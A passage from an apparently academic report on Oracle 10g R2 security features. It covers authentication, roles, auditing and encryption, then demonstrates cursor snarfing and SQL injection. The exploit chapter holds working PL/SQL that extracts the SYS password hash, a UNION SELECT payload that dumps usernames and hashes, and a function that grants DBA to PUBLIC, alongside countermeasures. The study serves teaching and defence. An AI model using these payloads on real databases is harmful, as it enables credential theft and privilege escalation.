information….a measure designed to protect against fraudulent transmissions by establishing the
validity of a transmission, message, station, or originator.” [ISS, 2007]
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 18
Users of a database have to be authenticated before gaining access to any resources in a database to
avoid malicious users from gaining access to personal and valuable information of other users
which may lead to crimes like identity theft. There is a difference between authentication and
authorisation; authentication verifies a person’s identity whilst authorisation verifies that a person
has privileges of executing certain operations. A user has to be authenticated first and authorised to
execute a task. Users of databases must be discouraged from using default passwords and
encouraged to change their passwords as often as possible. They must also be discouraged to use
common and obvious words for passwords e.g. “oracle” or perhaps user names. Oracle claims that it
allows four failed attempts before an account is blocked, after which the account is locked for a day
or so or may wait to be unlocked by a Database Administrator. On contrary, another researcher
from NGS Consultancy has a whitepaper that proves that Oracle passwords may be tried over and
over by brute forcing which may reach a try of two million passwords a day, now the question to
ask is how is this possible if only a maximum of four tries is adequate to lock up an account
[Wright P, 2007].
Oracle also acknowledges that passwords have to have an expiry date and that users have to be
prompted to change their passwords three times before blocking it to avoid unauthorised security
breaches [Oracle (3), 2007]. More, [Stephen S, 2003], who worked for Oracle for more than 13
years, in his websites makes a tutorial on passwords which includes how to prompt a user to change
his password. Also on the Oracle website, under the topic “Password aging and expiration”, Oracle
gives a coded example of how they implement a prompt to the user to change password after 90
days as shown below, and also that the account is locked for 30 days if a trial number exceeding 3 is
reached giving no room for over 2 million tries performed during a brute force attack. A database
security expert, Mark Burnett [Burnett M, 2007] explains that the most obvious way to block brute
forcing is to lock accounts but this can work very well for an attacker. He can cause a denial of
service (DOS) by initiating the lock of a large number of accounts, locking on its own is an
indication of an existing account so it can be used to harvest usernames and also an attacker can
disable an account by continuously initiating a lock each time it is unlocked. Above all most
databases can not lock the Administrator’s account so this can be a major victim for brute force
attacks. A coded example of Oracle’s password management [Oracle (3), 2007]; CREATE PROFILE prof LIMIT
FAILED_LOGIN_ATTEMPTS 3
PASSWORD_LOCK_TIME 30
PASSWORD_LIFE_TIME 90
PASSWORD_GRACE_TIME 3;
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 19
ALTER USER johndoe PROFILE prof;
Listings 31: Oracle’s password management
But surprisingly [Stephen S, 2003] says “Even after several years, I've found that my old password
still works on previous projects...” His website shows how Oracle maintains safe password
management citing that Oracle provides good facilities to enable users to make very strong
password. But according to Paul Wright[Wright P, 2007], Oracle offers a limited sample space of
characters to choose from when designing a password, for example it does not allow the use of ‘$’
and ‘#’ to avoid scripting errors, also passwords cannot start with either ‘_’, ‘$’, ‘#’ or a number
and Oracle’s password are not allowed to contain Oracle/SQL keywords like “INSERT”. As part of
my project, intend looking further into the issue passwords in the Oracle database. It is claimed that
the highest source of data insecurity is within the organisation [Kornbrust A, 2004]. He comes up
with an important idea; passwords have to be encrypted so that even the DBA who have access to
all data are prevented from accessing it sensibly as shown in the example below. This also prevents
hackers in possession of DBA privileges to access valuable data. This is also part of my project to
research on. Initially we have two tables, customer and orders, now a query is made to select all the
elements of the table Customer by the statement “select * from customer”.
Figure 31: An example of a database table to illustrate encryption
If the data is not encrypted we get a result presented below which is clear text which everyone can
read.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 20
Figure 32: Performing a select on the database
If the data has been encrypted we get something as shown below.
Figure 33: Performing a select on the database
As shown above, if the hash table is kept safe, this can be a very good and effective method to
maintain security of passwords for authentication. In this method called safe key management, “The
Oracle customer is responsible for the entire key management” [Kornbrust A, 2004]. The user
decides where to keep the key safe; this may be handling it himself, storing it in the file system or
else keeping it in the database.
3.4.2 Privileges and roles Oracle offers privileges to its users. These are rights to execute a particular type of SQL statements
or to access another user’s object. These include session creation i.e. connecting to the database,
creating a table as well as executing another user’s stored procedure. Privileges are granted to
individuals as a necessity to accomplish important tasks. A Database Administrator has to be very
careful when assigning privileges as an excess of these to users unnecessarily can cause a security
flaw. Privileges may be granted to individual users for example John or they may also be bundled
together with others to produce a role and in turn this role is assigned to one or more users e.g.
managers. Because roles allow for easier and better management of privileges, you should normally
grant privileges to roles and not to specific users [Oracle (4), 2007]
At the creation of the database the accounts for SYS and SYSTEM are created and granted all
privileges pertaining to the database as well. SYS can then grant roles and privileges to other users
as well as the privilege to grant other users roles and privileges as well. Roles are meant to ease up
the administration of user systems as well as schema object privileges. Roles make it easy to
manage and assign privileges, rather than give out similar sets of privileges to users individually in
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 21
a group; we may assign a role to the group. This saves on time and makes the whole work of
monitoring these privileges a little bit easier. It also lightens the load when making changes to roles,
suppose we want to change some privileges given to a group of user for security reasons; it is now
easier since a change has to done on the roles to affect every user than making changes manually
and individually on each and everyone of the available users. Roles can also allow some privileges
to be passwordprotected. It makes it easier for an auditor to audit security breaches e.g. it narrow
down the search criteria if a privilege has been breached since it will be known who owns certain
privileges [Oracle(4), 2007]
Applications can be assigned for users to be able to perform certain application; these roles can also
be assigned to other users or roles. Assigning roles to roles might pose a security breach since it
becomes difficult to monitor how the roles link up together into a net. The Administrator
will not be able to trace out which specific roles were assigned to a user if the role to role network
becomes large .If not carefully monitored a user can have all the available privileges defined in the
linked roles to be able to control the database or even carry out malicious actions on it. These also
can be enabled or disabled, this too, I think can affect other users unnecessarily because if a role is
disabled the roles linked to it are blocked as well including those not intended to be blocked thus
negatively impacting the system. Roles and privileges in Oracle 10g can be granted using the
enterprise manager as well as the SQL statements, GRANT and REVOKE (for revoking). These
can be granted by anybody with the GRANT ANY ROLE system or anyone granted a role with
Administration Options [Oracle (4), 2007]
3.4.3. Auditing Auditing is the monitoring and recording of selected user database actions. It can be based on
individual actions, such as the type of SQL statement executed, or on combinations of factors that
can include user name, application, and time. Security policies can trigger auditing when specified
elements in an Oracle database are accessed or altered, including the contents within a specified
object [Oracle (6), 2007]. Auditing can also be defined as “an independent review and examination
of systems records and activities that test for the adequacy of system controls, ensure compliance
with established policy and operational procedures, and recommend any indicated changes in
controls, policy, and procedures” [ISS, 2007]. Auditing can also be use in Oracle to record failed or
successful attempts on the server. This is useful in being able to know who is attempting to logon to
the database, when an attacking is taking place as well as to know if an attack was successful
[Newman A(1), 2007].
Some more uses of auditing are listed below:
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 22
• Enable future accountability for current actions taken in a particular schema, table, or row, or
affecting specific content
• Deter users (or others) from inappropriate actions based on that accountability
• Investigate suspicious activity
• Notify an auditor that an unauthorized user is manipulating or deleting data and that the user has
more privileges than expected which can lead to reassessing user authorizations
• Monitor and gather data about specific database activities
• Detect problems with an authorization or access control implementation
[Oracle (6), 2007]
Without real time auditing, a database can not maintain confidentiality, data integrity and
availability which a very crucial to database security [Newman A (1), 2007].
Basically there are four types of audits rendered by Oracle. There is the statement auditing (this
enables the DBA to monitor all the SQL statements implemented on the database). This could be set
to monitor the actions of a certain user or group. Also this can be divided into two categories, the
DDL and the DML statements. The DDL statements include statements like Audit Table which
audits all Create and Drop Table statements. An example of a DML statement is Audit Select Table
which audits all select…from table as well as view statements.
The second type is called privilege auditing. This audits statements that use a system privilege, such
as SELECT ANY TABLE. For example, when AUDIT SELECT ANY TABLE is in force, all statements
issued by users with the SELECT ANY TABLE privilege are audited. This is more focused as
compared to statement auditing and can as well be set to monitor a single user a group. Privileged
auditing is triggered when a less privileged user tries to perform action statements that a re not
defined in his privilege space. When the clause table is defined in the audit it takes care of Create
table, Alter table as well as drop table. But if Create table instead is defined then the audit can only
audit create table [Oracle (6), 2007]
The third is Schema Object Auditing which enables the DBA to audit specific statements on a
particular schema object e.g. Audit Select On Employee. It audits the select statement and all DML
statements permitted by the schema objects privileges which include the delete statement on a given
table. It also audits the Grant and the Revoke statements which control the select/delete statements.
As can be seen this is a more specific audit and it applies to every user. The fourth one is Fine
Grained auditing which involves auditing at the most granular level, data access and actions based
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 23
on content, using any Boolean measure, such as value > 1,000,000. Enables auditing based on
access to or changes in a column.
However, auditing has some disadvantages if used excessively (Auditing every action on the
database is good but it has a negative effect on performance) because the constant writing of audits
can create a substantial bottleneck on the disk’s I/O on the server. Also since the auditing data can
be stored in SYS.AUD$, it ends up interacting with database data and sharing disk space which
might result in application downtimes. Above all there is no mechanism to prevent the DBA from
tempering with audit output in case an attacker gains SYS privileges [Newman A (1), 2007].
3.4.4. Data integrity Data integrity as defined by Wikipedia encyclopaedia is an act of ensuring that data is whole and
complete, it is the condition in which data is identically maintained during an operation such as a
transfer, storage or retrieval. Another aspect to this field is that data can only be accessed by
authorised individuals. Data integrity in a relational database is concerned with accuracy,
correctness and validity of data [Wikipedia (3), 2007]
In Oracle, data is encrypted to keep it safe. It uses a method called Transparent Data Encryption.
TDE is very useful for simple and easy encryption of sensitive data in table columns that the user
does not want anyone to see. The encryption and decryption of data is handled by the database
instead of users and applications. An external file named ewaalet.p12 is used to store the encryption
keys, this location, similar to auditing trail storage, can be in the Operating System or it can be
specified in the sqlnet.ora file.[Dewri A,2007] . Now imagine a case where by that whole drive of
data gets stolen with all people’s valuable information, the disk can easily be mounted on a similar
server with the same operating system and wiped out of data. Consider the case of a rogue DBA
who penetrates perimeter protection in the daily course of business and then downloads sensitive
customer information. This only shows that authentication is debatable. If not carefully monitored, a
DBA can be the most dangerous attacker since he controls all the database activities such as audits
that are meant monitored security on the database [Newman A (1), 2007, p4] Oracle compares this
security scheme, TDE as layers that a hacker has to go through in order to get access to data. First
the hacker has to by pass the firewall protecting the database then he has to deal with the
authentication and authorisation process of the data base. Although this far, the hacker cannot see
the data because it is encrypted, it does not make sense to a user who does not know the hash
functions [Oracle (7), 2007]. TDE is a valuable feature for organizations that need high security; it
supports encryption while putting the complexity of key management in the hands of the database
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 24
engine. This also is a good measure because even the DBA who monitors data does not get to see
the actual data he is managing, cutting down the risk to data [Dewri A, 2007].
It allows the user to encrypt a certain potion of the data so as to use a simple hashing function as
compared to encrypting the whole data (which is possible) at the expense of a complex and
unpleasant hashing function. This is simply done by declaring a column as encrypted. It works by
the TDE generating a key for a specific table and a master key that can be set at the database level.
The key for the table is encrypted with the master key, which is required to obtain the table key.
Consequently, the master key as well as the table key is required to decrypt encrypted data as shown
below [Oracle (6), 2007].
Figure 34: The master and the table key
Data that has been encrypted can only be viewed after decryption by authorised user. To use TDE,
user must have "alter system" privilege and a valid password for Oracle wallet.
3.4. ORACLE’S SOFTWARE SECURITY ASSURANCE. Security features which include access control, user authentication, data encryption, and audit
support have become important software buying criteria. A survey carried out shows that security is
the number one priority where new IT investment is planned [Heimann J, 2006]. This only shows
how valuable security is in the IT industry.
This depends on secure system designs implemented, development and support processes that
prevent the introduction of security flaws into system and limit damage caused. Heiman [Heiman J,
2006] defines security flaws as “errors on the software that allow unauthorised access to data or
system resources”. Intruders usually use these security flaws to their advantage, gaining access to
valuable information through privileged means. These allow invaders to bypass even the toughest
security measures that have been put across. Oracle defines a secure system as that which does not
only offer secure feature but also prevents security flaw which can be fatal to the system even if the
best security measures have been enforced. In the white paper by Heimann [Heimann J, 2006],
Oracle claims that their products contain some security assurance features that help prevent security
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 25
flaws. But contrast to this, Litchfield [Litchfield D (2), 2006] compiled a paper in November last
year entitled “Which database is more secure? Oracle vs. Microsoft” in which he shows in tabular
form the heights reached by Oracle’s flaws as compared to that portrayed by Microsoft SQL Server
2004 [David Litchfield (2), 2006].
The graphs are shown below.
Figure 35: Oracle vs. MS Server 2004
The graph simply shows that in the past two years Oracle has experience more security flaw as
compared to MS SQL Server 2004, this is in direct contrary to the claim made by Heimann
[Heimann J, 2006]. Oracle boasts of working with CIA for a long time protecting their confidential
data and that ever since customers have relied on Oracle to protect their sensitive and mission
critical data. But when one considers the security flaw Oracle has incurred, the fact of it being the
most trusted databases raises eyebrows. Oracle also claims to possess highly trained personnel who
ensure that products are developed with consistently high security assurance to avoid common
insecure coding practices by undergoing an intense coding training. Now, a company responds to
the discovery of a security flaw by offering a patch to rectify the issue. One may ask, If Oracle
programs so well why do we need a whole lot of patches to botch up the system. Further more,
Oracle has made claims that its production team makes use of lessons learned from continual
vulnerabilities testing and previous flaws assessment [Heimann J, 2007]. Independent researcher,
Litchfield [Litchfield D (2),2006], claims in his paper that the reason why Oracle suffers the most
security flaws as compared to MS Server 2004 is that they do not practice Security Development
Lifecycle, (SDL) which involves learning from previous flaws to solve the current. He agues further
that the other reason is that Oracle does not understand the problem they are trying to solve which is
evident from his research results. There also has been news about customers complaining about the
amount of patches they have to install, recently Oracle patched 82 critical flaws
[SearchSecurity.com, 2007]. Oracle further claims its team undergoes the basic training and that
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 26
their products are thoroughly tested by multiple development teams to assure consistency in product
before dispatch. Heimann [Heimann J, 2006] states that they take their products for external
inspection by independent bodies e.g. the US government. Despite all this technical support Oracle
has on its products, research has it that their product seem to experience the same problem over and
over. With all this information stated above, I am going to look at and test the security features
offered by Oracle and above all where possible try to come up with solutions to the problems.
3.5. SUMMARY The above sections gave a good portion of the security features that Oracle can offer. It also gave
the views of customers and researcher about what they think about the security of Oracle. Database
security is very crucial to the safety of a user’s personal data which includes credit card numbers,
bank details as well as medical details. Identity thieves target these for personal gains. These may
be to commit crime, to hide away one’s identity from past experience or maybe to sell to illegal
immigrants who want to seek employment in a particular country. Firewalls on their own are not
capable to protect the database from all the malicious activities done by attackers. The fact that they
are in the layer 3 of the OSI model means that they can protect against any intruder activity that is
in layer 3 and below. For example, SQL injection occurs in the application layer, which is layer 4,
so it can never be blocked by a firewall. Also to show that firewall security is not enough, intruders
are now using certain phrases in search engines to bypass them and perform their hacking straight
on the database thus cutting on the time and effort needed in their hacking practise.
Databases are safe if they were to remain isolated and not be harnessed onto the Internet. The need
for ecommerce drove databases to be included on the Internet but this good cause has brought
about serious security breaches that Database administrators have to fight against. Besides external
hacking, the major threat to data has been discovered to be within an organisation, especially
individuals who have full access to database resources as well as full control of all its activities. A
proper database that is concerned about user data security has to offer protection against malicious
external and internal attackers of the database.
Oracle in its 2004 release of the Oracle 10g Database, released more than one version of the
database. The five versions are Standard Edition, Standard Edition One, Express Edition, Personal
Edition and Enterprise Edition. The database used for my project is the Enterprise Edition because
of its security features which are better than that of the rest, in fact it is said to contain all the feature
possessed by all the other versions and can enable a user to add onto the already available security
features using security packs. It also contains a function called Transparent Data Encryption that
protects the data in case a data disk is lost. This it does by use of a master and a table key.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 27
When a cursor is used in a procedure it has to be closed to protect the database. A new security flaw
has been discovered in Oracle where by a low privileged user gains access to a closed cursor which
he uses to attack a database gaining the SYS password which in turn enables him to abuse the
database as much as he likes.
Oracle offers different form of security which include authentication which is making sure that
users are who they claim to be. Another feature is called privileges and roles which monitor “who
does what.” Roles are a bundle of privileges that are given to an individual or a group so that it
becomes easier to monitor, assign or suspend rights that have been issued out. Auditing helps the
security officer to monitor all the actions that are executed on the database; this includes failed and
successful attempts to log on to a database. It helps to detect any activities performed by an attacker
by keeping a record of desired actions performed. Data integrity is meant to enforce that data is
maintained in the desired state, it guides against illegal access, alterations or extraction of data by
intruders. It helps keep data constant. It also includes the process of Transparent Data Encryption
which is described above. Software assurance describes the stages and efforts that are taken by a
software developer to make sure that the software is of the highest quality.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 28
Chapter 4
4. EXPLOITS AND PROTECTING AGAINST THEM
4.1 CURSOR SNARFING David Litchfield of the NGS Company discovered a flaw in the Oracle Application Database called
Cursor Snarfing in November 2006. This is caused by a failure to close cursors created and used by
high privileged users implementing the DBMS_SQL package or a failure to clean up open cursors
which in the event of an exception can lead to a security hole. If the cursor is created by a high
privileged code and left hanging (or made to hang) then a low privileged user can snarf (grab) and
use the same cursor outside its application domain that created it and maliciously gain access to data
that is restricted to them. The hacking code is Dynamic SQL on PL/SQL (similarly MS Server 2004
uses TSQL) which is Oracle’s primary language for programming stored procedures. Stored
procedures are programs that live and run inside the database server. They are loaded once into the
database and cut on time required to reload them again when they need to be used again. I have
implemented the code shown in Listings 41 (part of it)below and proved it to be true, Oracle
indeed has a security hole in case of unattended dangling cursors created by high privileged code.
4.1.1 Analysis of the code
CONNECT / AS SYSDBA
SETSERVEROUT ON
CREATE OR REPLACE PROCEDURE PWD_COMPARE (P_USER VARCHAR) IS
…………………………………………………………………………
IF P_USER! = 'SYS' THEN
CURSOR_NAME:= DBMS_SQL.OPEN_CURSOR;
DBMS_OUTPUT.PUT_LINE ('CURSOR: ' || CURSOR_NAME);
DBMS_SQL.PARSE (CURSOR_NAME,
'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME =: U’,
DBMS_SQL.NATIVE);
DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, P_USER);
…………………………………………………………………………
IF V_PWD = '0123346789ABCDEF' THEN
DBMS_OUTPUT.PUT_LINE ('HMMM....');
END IF;
DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME); END IF;
Listings 41: Password Compare Procedure
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 29
The full code is obtainable in Appendix 1 on page 110. Basically, the code harvests all the nonSYS
passwords from the table SYS.DBA_USERS and compares each of them to a single password
provided in the code.
A cursor is an integer value that acts as a pointer to a special area of memory where Oracle keeps
track of items related to the cursor such as a query, its variables and permission. Once a cursor has
been opened it stays alive until it is closed. A close study of the code above reveals that it has no
method of dealing with error (no exception handling). The problem is that if an exception is created
before the closure of the cursor, it leaves the cursor hanging. This can be easily snarfed by a hacker.
To demonstrate Cursor Snarfing, log into Oracle as a low privileged user and run the following
code to create an exception. In my case I logged in as HR.
HR is a low privileged user compared to SYS and he executes the procedure PWD_COMPARE
making sure he generates an exception during execution: SET SERVEROUTPUT ON
SQL> DECLARE
X VARCHAR (32000);
I INTEGER;
BEGIN
FOR I IN 1... 10000
LOOP
X: = 'B' || X;
END LOOP;the size of X is now varchar2(10000)
SYS.PWD_COMPARE(X);
END;
/
Listings 42: Using the Password Compare Function
This creates an exception because of the conversion required on the value of X to be passed on to
SYS.DBMS_COMPARE(X).This is because X is declared to be a variable of size 32000 while the
procedure PWD_COMPARE takes in a varchar value of size 30 characters. The size of the input
causes an exception because it is too big to be handled by the procedure. Thus an error is generated
as shown below. This error is very useful to the attacker as it gives him the value of the cursor that
just hung. The snapshot of the response from Oracle is shown in Figure 4.1 below.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 30
Figure 41: The error messaging showing the cursor number
The attacker gets information that the cursor value is 1. It also shows the attacker that the user who
created the cursor in the procedure is ‘SYS’. Armed with this piece of information the attacker can
rebind the username associated with the snarfed cursor, which is SYS, then reexecute the query
and extract the password hash for the SYS account bypassing the logic in the procedure
PWD_COMPARE. DECLARE
CURSOR_NAME INTEGER;
I INTEGER;
PWD VARCHAR2 (30);
BEGIN
CURSOR_NAME:= 1; cursor value now known
The value of u is now replace directly by SYS
DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, 'SYS');
Create a column called password to store query.
DBMS_SQL.DEFINE_COLUMN (CURSOR_NAME, 1, PWD, 30);
I: = DBMS_SQL.EXECUTE (CURSOR_NAME); Execute the SQL statements.
The FETCH command returns a record from the query, so the system checks
if there is anything returned.
IF DBMS_SQL.FETCH_ROWS (CURSOR_NAME) > 0 THEN
If there is a record, return the password and place it in the already
defined
Column V_PWD. This also shows that there is only one field of output.
DBMS_SQL.COLUMN_VALUE (CURSOR_NAME, 1, PWD);
END IF;
DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME); close the cursor
DBMS_OUTPUT.PUT_LINE ('PWD: ' || PWD); print out the SYS password
END;
Listings 43: Carrying out the flaw
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 31
The output of the command is as shown below, the expected password is D28AC4BA64CB0F88
Figure 42: A snapshot of Cursor Snarfing
Now the attacker HR has obtained the SYS password. In short, an attacker looks for PL/SQL code
that does not take care of exceptions (vulnerable to cursor snarfing). Then he forces an exception so
that the cursor will not close and be left dangling. Then he searches for the orphaned cursor by
generating an error. Now, the attacker can alter the code to serve his needs. Without causing an
exception the system will never allow a low privileged user to supply the PWD_COMPARE
procedure a parameter ‘SYS’ and also it will never let an attacker view the password, but with an
access to a cursor all this can be easily violated.
The class of the flaw can be implemented on cases where higher privileged code is using the
DBMS_SQL package to insert, update and delete; moreover allowing the user input of a specific
format, it then may be possible for an attacker to bypass regulations. For example if say a user is not
allowed to input data with single quotes and there is high privileged code that checks for this then
suppose the attacker manages to cause an exception as shown above. It is then plausible to harness
the cursor so that it allows the user to insert a single quote in the input data which may lead to SQL
Injection. In this way, cursor snarfing can violate the integrity of Oracle data despite the claim by
Oracle to having an excellent data integrity scheme.
The only thing that is restrictive to the attacker is that he can not add his own queries since these
will execute in through his own low privileged right. So this type of attack allows his to manoeuvre
around the already defined query, he can not in this case decide to grant himself roles and
privileges. The SYS password obtained is not that much of use to an attacker but there are tools that
can be used to obtain clear text passwords from the user name and its corresponding password hash
for example Orabf and rainbow Oracle password breakers can be used.
4.1.2 Counteracting on the attack vector. The most effective way to avoid attacks of this nature is to make sure that input data from users is
validated. Database user must always be suspects because anyone is a possible attacker if the
system permits. In the case shown above, there should be code that validates that input is of the
requited type and size. The system must not allow users to input unreasonable data inputs. The other
measure that can be taken is to have code that handles exceptions. The most suitable is the
‘OTHER’ type of exception that handles all exceptions Notice in the code that the exception
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 32
handler is inserted in the right place, just after the attacker executes the SQL statement that is
contained in the cursor. …………………………………….
…………………………………….
BEGIN
DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, P_USER);
DBMS_SQL.DEFINE_COLUMN (CURSOR_NAME, 1, V_PWD, 30);
I: = DBMS_SQL.EXECUTE (CURSOR_NAME);
EXCEPTION
WHEN OTHERS THEN
IF DBMS_SQL.IS_OPEN (CURSOR_NAME) THEN
DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME);
END IF;
END;
……………………………………..
……………………………………..
Listings 44: Handling the exception
The output of the code with the exception handling is shown below.
Figure 43: The results from using an Exception Handle
The attacker gets the Cursor value and when he tries to use it he finds out that it is already closed.
This shows the strength of having exceptions in code.
4.2 SQL INJECTION
4.2.1 A briefing on SQL Injection This is a method used to launch attacks on procedures, functions, triggers and types. Usersupplied
input to an application is embedded directly into a dynamic SQL query to be executed. But because
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 33
this input is controlled by a user it is then possible for a user to feed in additional SQL queries to be
run without proper privileges. Consider the code extract shown below.
………………………………… P_query is a declared varchar2 that holds the query to be run
P_query: = ‘select districts from province where governor = ‘‘‘|| userinput
||’’’’;
Execute immediate p_query;
…………………………………… Listings 45: An Example of injectable code
Suppose the user inputs Gorge as the governor the complete query would be: SELECT DISTRICTS FROM PROVINCE WHERE GOVERNOR = ‘Gorge’.
But what if the user decides to put O’Hare; Oracle will issue out an error that the query was not
properly terminated since the user input will appear as ‘O’Hare’. This is proof that by inserting a
single quote a user can deceive Oracle into executing a different query from the one expected.
Suppose this time the user decides to input: Gorge ‘’ union select password from Dba_users where ‘‘a’’ = ‘‘a
(Notice the two single quotes this breaks us out of the predefined string and then we tack our
UNION SELECT statement onto the end)
This will result in a query like; Select districts from province where governor = ‘Gorge’ union select password
from Dba_users where ‘a’ = ‘a’
It all lies in the skill of balancing the single quotes in the query. But instead of the carefulness
required to balance out the quotes, “” can be used as well; this will comments out all the bits after
it.
To avoid this sort of attack, the code could have been simply stated as below using the bind
variable.
……….. P_query: = ‘select districts from province where governor =:1’
Execute Immediate P_query using userinput;
…………… Listings 46: Protecting against SQL Injection
In this case ‘1’ is a bind variable, meaning that the input is bound by the bind variable until after
the query has been compiled. Simply, this further means that even if the input is supplied with
quotes it does not affect a thing; it will be already too late.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 34
Consider another example of SQL injection. Suppose, normal users are entitled to viewing
information that is of a certain value as shown below.
………. P_query: = ‘select salary from ‘|| userinput ||’ where SALARYID <300’;
Execute Immediate P_query;
……….. Listings 47: Another example of SQL Injection
A malicious user can input the query ‘SALARIES where SALARYID > 300 ‘
The appended “” will simply comment out the hard coded “SALARYID <300”. This is how an
attacker can deceive Oracle through SQL Injection.
4.2.2 An Example of SQL Injection
The first thing is to log in a SYS and create a procedure called GET_OWNER which basically takes
in any object name (be it a table or a procedure/function created by any user in the database
instance) from the all_object table in the SYS account and returns the owner of the selected object.
Then I granted the execute privilege on the procedure to public meaning that it is accessible by any
database user in this instance. CONNECT / AS SYSDBA
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2 (200);
BEGIN
DBMS_OUTPUT.ENABLE (1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME =
''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE (BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
GRANT EXECUTE ON GET_OWNER TO PUBLIC;
Listings 48: The procedure gets the owner of the any supplied object
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 35
The commented version of the code in Listings 48 is found on the Appendix 2 on page 111.This
procedure is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a SELECT
query which can be executed by anyone in the database instance. The attacker is limited in terms of
what they could do when it comes to exploiting the flaw. One thing the attacker could do is perform
a UNION SELECT that would allow him to execute the GET_OWNER stored procedure together
with the SQL commands to gain DBA privileges to gain access to arbitrary data: CONNECT HR/HR
SQL> SET SERVEROUTPUT ON
// this allows the user to view any input
SQL> EXEC SYS.GET_OWNER ('AAAA'' UNION SELECT LOWER (USERNAME) || ‘‘
‘‘|| PASSWORD FROM SYS.DBA_USERS ');
Listings 49: Execute the SQL Injection
Basically the flaw allows the attacker to specify one field in his union select statement. But the
attacker can concatenate the password and the username into one string. My demonstration is
shown in the snapshot below.
Notice the ‘—‘at the end of the command, this comments out what ever follows. Also take note of
the ‘’ in the user input, this breaks away the UNION SELECT from the username supplied.
Figure 44: A list of usernames and passwords obtained from SQL Injection
A complete view of this snapshot is provided in Appendix 3 on page 112. The attacker can not
simply inject a "GRANT DBA TO PUBLIC" or an "INSERT something into some table" statement
after the application defined SELECT statement. In order to achieve this, they would need to wrap
their arbitrary SQL in a function and inject this:
A function is declared like the one I declared in Listing 410 and then used in the SQL Injection to
grant all the users the DBA role. It uses a “PRAGMA AUTONOMOUS_TRANSACTION”. A pragma is
a compiler directive executed at compile time rather than at run time and is used to pass valuable
data to the compiler about the process being executed. An AUTONOMOUS_TRANSACTION is a
SQL pragma that tells the compiler to suspend the main transaction and start an independent
subprogram. The subprogram can log events and execute the select, create, commit, or roll back
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 36
SQL operations, and then resume the main transaction. It shares no locks or resources with the main
transaction. SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
create this function that assigns DBA to public in Scott. The command below
Shows that the program executes with privileges of who ever is using it.
1 AUTHID CURRENT_USER IS
2 PRAGMA AUTONOMOUS_TRANSACTION;
This makes a fork and join process between the main procedure and the
Subprocedure
The parent process is halted while the child process executes, it can only
resume execution when the child process (subprocess) dies.
3 BEGIN
gives a command to immediately execute the new procedure
3 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
informs the user if the function was successful, can be used as a tracker
4 RETURN 'GOT_DBA_PRIVS';
6 END;
7 /
